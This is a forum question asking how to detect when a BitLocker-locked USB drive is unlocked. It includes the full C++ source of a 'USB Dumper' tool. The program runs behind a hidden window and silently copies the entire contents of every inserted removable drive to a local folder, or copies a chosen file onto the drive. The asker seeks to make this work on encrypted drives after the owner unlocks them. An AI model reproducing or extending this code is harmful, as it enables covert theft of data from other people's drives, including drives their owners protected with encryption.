for eg i have a usb which is locked with bitlocker.
i am looking for some way to get notification as soon as removable device is unlocked by the user?is there any way to do that using dbt.h in c++?
i got below code from this link http://read.pudn.com/downloads163/sourcecode/windows/system/740844/USBDumper%20-%20OK/src/usb.cpp__.htm
but it doesn't detect usb which is locked with bitlocker not even after its unlocked
What I have tried:
#include <windows.h>
#include <dbt.h>
#include <direct.h>
#include <stdio.h>
char dir[260];
char szFile[255] = "";
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
char FirstDriveFromMask (ULONG unitmask);
void GetFile(char* FilePath);
void CreateDir(char * path);
void Copy(char* FileName);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
MSG msg;
HWND hwndMain;
WNDCLASSEX wcx;
HDEVNOTIFY hDevnotify;
DWORD len;
DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;
GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};
printf("\n>> USB Dumper by Valgasu <<\n\n");
if (lpCmdLine[0] != '\0') {
strcpy(szFile, lpCmdLine);
}
ZeroMemory(&wcx,sizeof(WNDCLASSEX));
wcx.cbSize = sizeof(WNDCLASSEX);
wcx.style = 0 ;
wcx.lpfnWndProc = (WNDPROC)MainWndProc;
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0;
wcx.hInstance = hInstance;
wcx.hIcon = NULL;
wcx.hCursor = NULL;
wcx.hbrBackground = NULL;
wcx.lpszMenuName = NULL;
wcx.lpszClassName = "USB";
wcx.hIconSm = NULL;
if (!RegisterClassEx(&wcx))
return 0;
hwndMain = CreateWindowEx(0,
"USB",
"",
WS_POPUP,
0,0,
0,0,
NULL,
NULL,
hInstance,
NULL);
if (!hwndMain)
return 0;
ShowWindow(hwndMain,SW_HIDE);
len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
memset(&NotificationFilter,0,len);
NotificationFilter.dbcc_size = 0x20;
NotificationFilter.dbcc_devicetype = 5;
NotificationFilter.dbcc_classguid = FilterGUID;
hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);
if(hDevnotify == NULL)
return 0;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
char szMsg[80];
char szFileDest[255];
char drive;
char szDrive[20];
char dtime[20];
char temp[10];
SYSTEMTIME st;
PDEV_BROADCAST_VOLUME PdevVolume;
PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;
switch (msg)
{
case WM_DEVICECHANGE:
switch(wParam)
{
case DBT_DEVICEARRIVAL:
PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;
switch(PdevDEVICEINTERFACE->dbcc_devicetype)
{
case DBT_DEVTYP_DEVICEINTERFACE:
break;
case DBT_DEVTYP_VOLUME:
PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;
drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);
wsprintf(szDrive, "%c:\\", drive);
wsprintf(szMsg, "Drive %s connected\n", szDrive);
GetLocalTime(&st);
itoa(st.wYear, temp, 10);
strcpy(dtime, temp);
itoa(st.wMonth, temp, 10);
strcat(dtime, temp);
itoa(st.wDay, temp, 10);
strcat(dtime , temp);
_mkdir(dtime);
_getcwd(dir, 260);
strcat(dir, "\\");
strcat(dir, dtime );
strcat(dir, "\\" );
if (strcmp(szFile, "") != 0) {
wsprintf(szFileDest, "%s%s", szDrive, szFile);
CopyFile(szFile, szFileDest, FALSE);
}
else {
GetFile(szDrive);
}
}
break;
}
break;
default:
return DefWindowProc(hwnd,msg,wParam,lParam);
}
return 0;
}
char FirstDriveFromMask (ULONG unitmask)
{
char i;
for (i = 0 ; i < 26 ; ++i)
{
if (unitmask & 0x1)
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}
void Copy(char* FileName)
{
char dir2[260];
char* temp;
temp = strchr(FileName, '\\');
strcpy(dir2, dir);
temp++;
strcat(dir2, temp);
CopyFile(FileName, dir2, 1);
}
void CreateDir(char * path)
{
char temp2[260];
char* temp;
temp = strchr(path, '\\');
strcpy(temp2, dir);
temp++;
strcat(temp2, temp);
_mkdir(temp2);
}
void GetFile(char* FilePath)
{
char temp[260];
char temp1[260];
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
strcpy(temp, FilePath);
strcat(temp, "*");
hFind = FindFirstFile(temp, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE) {
do {
strcpy(temp1, FilePath);
strcat(temp1, FindFileData.cFileName);
if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {
if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
strcat(temp1, "\\");
CreateDir(temp1);
GetFile(temp1);
}
else {
Copy(temp1);
}
}
}
while(FindNextFile(hFind, &FindFileData));
}
FindClose(hFind);
}
<pre lang="c++">